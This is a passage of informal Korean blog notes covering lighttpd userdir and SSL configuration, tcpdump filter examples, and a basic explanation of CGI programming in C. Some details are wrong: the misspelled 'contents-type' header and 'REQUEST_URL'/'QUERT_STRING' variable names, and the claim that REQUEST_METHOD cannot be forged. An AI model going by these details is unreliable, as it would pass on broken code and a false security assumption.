"mod_userdir", 

)

userdir.path = "public_html"    # ~ 아래의 폴더를 웹 페이지의 메인으로 선택
userdir.exclude-user = ("root", "postmaster")  # 사용하지 않을 유저 설정 


6. ssl 설정 ( http://redmine.lighttpd.net/wiki/1/Docs:SSL )
 > sudo vi /etc/lighttpd/lighttpd.conf

$SERVER["socket"] == ":8082" {

ssl.engine = "enable"
ssl.pemfile = "/var/www/ssl/myserv.pem" 

 인증서 파일은 보안 설정을 400으로 할 것!

7. 서버 재시작
 > sudo /etc/init.d/lighttpd restart

Posted by k1rha
2012. 11. 14. 20:18

tcpdump -s 1000 (1000 개만 출력)

tcpdump -s -X (char 형으로 출력하는 것을 포함함)

tcpdump -s 1000 src 222.222.222.222 -X (출발지 아이피가 222.222.222.222  인것만 출력)

tcpdump -s 1000 src 222.222.222.222 and dst port 80 -X  (port 가 80 번 인것만 출력)



Posted by k1rha
2012. 11. 14. 20:01

CGI 는 웹서버에서 최경량으로 사용할 수 있또록 만든 서버 언어라고 보면 된다. 


CGI 파일은 일반적인 C언어에 CGI만의 환경변수들을 추가 함으로써 처리가 이뤄지게 된다.


첫째로 CGI 프로그래밍에서 첫번째 규약은 시작이 \n 로 되어야 한다. 그래서 대부분 CGI 파일의 시작은


printf("contents-type \n\n") // 처음 엔터부분

으로 시작하는 경우가 많다.


변수의 전달은 query_string 으로 가져오고  Request_URL 는 주소값 전체가 들어가 있다.


즉 /cgi-bin/test.cgi?aaaa=bbbbb

라고 했을때 

getenv("QUERY_STRING"); 의 결과 값으로 aaaa=bbbbb  가 들어가 있게 되고 

getenv("REQUEST_URL); 의 결과 값으로 /cgi-bin/test.cgi?aaaa=bbbbbb 가 들어가 있게 된다.


여러개의 변수를 저장할때는 & 로 가져오기 때문에

가져올때는 &로 짤라서 써야 한다.

보통 strtok 이나 strstr 의 포인터 값을 이용하여 문자열을 파싱해서 끄게 된다.


p=getenv("QUERT_STRING");

reuslt > aaaa=bbbb&cccc=ddddd



REQUEST_METHOD 는 변조가 불가능한 타입이고 , GET, POST 두개의 값으로 전달 되는 경우가 많다.

Posted by k1rha